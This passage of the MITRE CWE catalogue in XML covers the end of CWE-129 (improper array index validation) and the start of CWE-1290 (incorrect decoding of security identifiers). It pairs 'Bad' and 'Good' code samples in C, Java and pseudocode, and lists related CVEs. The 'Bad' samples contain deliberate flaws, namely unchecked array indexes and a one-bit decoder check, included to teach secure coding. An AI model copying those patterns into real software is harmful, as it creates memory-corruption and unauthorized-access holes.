            <Demonstrative_Example Demonstrative_Example_ID="DX-134">
               <Intro_Text>The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* capture the sizes of all messages */</xhtml:i>
                     <xhtml:br/>int getsizes(int sock, int count, int *sizes) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>char buf[BUFFER_SIZE];<xhtml:br/>int ok;<xhtml:br/>int num, size;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// read values from socket and added to sizes array</xhtml:i>
                           <xhtml:br/>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:i>// continue read from socket until buf only contains '.'</xhtml:i>
                                 <xhtml:br/>if (DOTLINE(buf))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                 else if (sscanf(buf, "%d %d", &amp;num, &amp;size) == 2)<xhtml:div style="margin-left:1em;">sizes[num - 1] = size;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* capture the sizes of all messages */</xhtml:i>
                     <xhtml:br/>int getsizes(int sock, int count, int *sizes) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>char buf[BUFFER_SIZE];<xhtml:br/>int ok;<xhtml:br/>int num, size;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// read values from socket and added to sizes array</xhtml:i>
                           <xhtml:br/>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// continue read from socket until buf only contains '.'</xhtml:i>
                                 <xhtml:br/>if (DOTLINE(buf))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                 <xhtml:br/>else if (sscanf(buf, "%d %d", &amp;num, &amp;size) == 2) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>if (num &gt; 0 &amp;&amp; num &lt;= (unsigned)count)<xhtml:div style="margin-left:1em;">sizes[num - 1] = size;</xhtml:div>
                                       <xhtml:br/>else<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>
                                             <xhtml:i>/* warn about possible attempt to induce buffer overflow */</xhtml:i>
                                             <xhtml:br/>report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");</xhtml:div>
                                       </xhtml:div>
                                    </xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-133">
               <Intro_Text>In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Method called from servlet to obtain product information</xhtml:i>
                     <xhtml:br/>public String displayProductSummary(int index) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = new String("");<xhtml:br/>
                           <xhtml:br/>try {<xhtml:div style="margin-left:1em;">String productSummary = getProductSummary(index);</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (Exception ex) {...}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public String getProductSummary(int index) {<xhtml:div style="margin-left:1em;">return products[index];</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Method called from servlet to obtain product information</xhtml:i>
                     <xhtml:br/>public String displayProductSummary(int index) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = new String("");<xhtml:br/>
                           <xhtml:br/>try {<xhtml:div style="margin-left:1em;">String productSummary = getProductSummary(index);</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (Exception ex) {...}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public String getProductSummary(int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = "";<xhtml:br/>
                           <xhtml:br/>if ((index &gt;= 0) &amp;&amp; (index &lt; MAX_PRODUCTS)) {<xhtml:div style="margin-left:1em;">productSummary = products[index];</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">System.err.println("index is out of bounds");<xhtml:br/>throw new IndexOutOfBoundsException();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>ArrayList productArray = new ArrayList(MAX_PRODUCTS);<xhtml:br/>...<xhtml:br/>try {<xhtml:div style="margin-left:1em;">productSummary = (String) productArray.get(index);</xhtml:div>} catch (IndexOutOfBoundsException ex) {...}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-90">
               <Intro_Text>The following example asks a user for an offset into an array to select an item.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *items[] = {"boat", "car", "truck", "train"};<xhtml:br/>int index = GetUntrustedOffset();<xhtml:br/>printf("You selected %s\n", items[index-1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0369</Reference>
               <Description>large ID in packet used as array index</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0369</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1009</Reference>
               <Description>negative array index as argument to POP LIST command</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1009</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0721</Reference>
               <Description>Integer signedness error leads to negative array index</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0721</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1189</Reference>
               <Description>product does not properly track a count and a maximum number, which can lead to resultant array index overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1189</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5756</Reference>
               <Description>Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5756</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2456</Reference>
               <Description>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2456</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Unchecked array indexing</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>INDEX - Array index overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR00-C</Entry_ID>
               <Entry_Name>Understand how arrays work</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR30-C</Entry_ID>
               <Entry_Name>Do not form or use out-of-bounds pointers or array subscripts</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT32-C</Entry_ID>
               <Entry_Name>Ensure that operations on signed integers do not result in overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS32-PL</Entry_ID>
               <Entry_Name>Validate any integer that is used as an array index</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-129</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="100"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Array Indexing Errors&#34; Page 144"/>
            <Reference External_Reference_ID="REF-96"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-64"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-129"/>
            <Reference External_Reference_ID="REF-18"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.</Note>
            <Note Type="Theoretical">An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Observed_Examples, Other_Notes, Potential_Mitigations, Theoretical_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-10-29">Unchecked Array Indexing</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1290" Name="Incorrect Decoding of Security Identifiers " Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset.</Description>
			<Extended_Description>
				<xhtml:p>In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. The security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes). A decoder decodes the bus transactions to map security identifiers into necessary access-controls/protections.</xhtml:p>
				<xhtml:p>A common weakness that can exist in this scenario is incorrect decoding because an untrusted agent's security identifier is decoded into a trusted agent's security identifier. Thus, an untrusted agent previously without access to an asset can now gain access to the asset.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="ChildOf" CWE_ID="1294" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Bus/Interface Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Quality Degradation</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Security identifier decoders must be reviewed for design consistency and common weaknesses.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Access and programming flows must be tested in pre-silicon and post-silicon testing in order to check for this weakness.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
                    <Intro_Text>
                        <xhtml:p>
                            Consider a system that has four bus masters and a decoder. The decoder is supposed to decode every bus transaction and assign a corresponding security identifier. The security identifier is used to determine accesses to the assets. The bus transaction that contains the security information is Bus_transaction [15:14], and the bits 15 through 14 contain the security identifier information. The table below provides bus masters as well as their security identifiers and trust assumptions:
                        </xhtml:p>
                        <xhtml:table>
                            <xhtml:tr><xhtml:th>Bus Master</xhtml:th><xhtml:th>Security Identifier Decoding</xhtml:th><xhtml:th>Trust Assumptions</xhtml:th></xhtml:tr>
                            <xhtml:tr><xhtml:td>Master_0</xhtml:td><xhtml:td>"00"</xhtml:td><xhtml:td>Untrusted</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>Master_1</xhtml:td><xhtml:td>"01"</xhtml:td><xhtml:td>Trusted</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>Master_2</xhtml:td><xhtml:td>"10"</xhtml:td><xhtml:td>Untrusted</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>Master_3</xhtml:td><xhtml:td>"11"</xhtml:td><xhtml:td>Untrusted</xhtml:td></xhtml:tr>
                        </xhtml:table>
                        <xhtml:p>
                            The assets are the AES-Key registers for encryption or decryption. The key is 128 bits implemented as a set of four 32-bit registers. The AES_KEY_ACCESS_POLICY is used to define which agents with a security identifier in the transaction can access the AES-key registers. The size of the security identifier is 4 bits (i.e., bit 3 through 0). Each bit in these 4 bits defines a security identifier. There are only 4 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit. If clear (i.e., "0"), disallows the respective action to that corresponding agent.
                        </xhtml:p>
                        <xhtml:table>
                            <xhtml:tr><xhtml:th>Register</xhtml:th><xhtml:th>Field description</xhtml:th></xhtml:tr>
                            <xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td><xhtml:td>AES key [0:31] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td><xhtml:td>AES key [32:63] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td><xhtml:td>AES key [64:95] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_3</xhtml:td><xhtml:td>AES key [96:127] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
                            <xhtml:tr><xhtml:td>AES_KEY_ACCESS_POLCY</xhtml:td><xhtml:td>[31:4] Default 0x00000000<xhtml:br/>[3:0]-0x01 agent with Security Identified "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers</xhtml:td></xhtml:tr>
					    </xhtml:table>
                        <xhtml:br/>
                    </Intro_Text>
                    <Body_Text>
                        The following Pseudo code outlines the process of checking the value of the Security Identifier within the AES_KEY_ACCESS_POLICY register:
                    </Body_Text>
                    <Example_Code Nature="Informative" Language="Other">
                        <xhtml:div>
                            <xhtml:br/>
                                If (AES_KEY_ACCESS_POLICY[Security_Identifier] == "1")
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Allow access to AES-Key registers
                            </xhtml:div>
                            <xhtml:br/>
                                Else
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Deny access to AES-Key registers
                            </xhtml:div>
                        </xhtml:div>
                    </Example_Code>
                    <Body_Text>
                        Below is a decoder's Pseudo code that only checks for bit [14] of the bus transaction to determine what Security Identifier it must assign.
                    </Body_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:div>
                            <xhtml:br/>
                            If (Bus_transaction[14] == "1") 
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "1"
                            </xhtml:div>
                            <xhtml:br/>
                                Else
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "0"
                            </xhtml:div>
                        </xhtml:div>
                    </Example_Code>
					<Body_Text>
                        The security identifier is two bits, but the decoder code above only checks the value of one bit. Two Masters have their bit 0 set to "1" - Master_1 and Master_3. Master_1 is trusted, while Master_3 is not. The code above would therefore allow an untrusted agent, Master_3, access to the AES-Key registers in addition to intended trusted Master_1.
                        <xhtml:br/>
                        The decoder should check for the entire size of the security identifier in the bus-transaction signal to assign a corresponding security identifier. The following is good Pseudo code:
                        <xhtml:br/>
                    </Body_Text>
                    <Example_Code Nature="Good" Language="Other">
                        <xhtml:div>
                            <xhtml:br/>
                            If (Bus_transaction[15:14] == "00") 
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "0"
                            </xhtml:div>
                            <xhtml:br/>
                            If (Bus_transaction[15:14] == "01") 
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "1"
                            </xhtml:div>
                            <xhtml:br/>
                            If (Bus_transaction[15:14] == "10") 
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "2"
                            </xhtml:div>
                            <xhtml:br/>
                            If (Bus_transaction[15:14] == "11") 
                            <xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                Security_Identifier == "3"
                            </xhtml:div>
                        </xhtml:div>
                    </Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
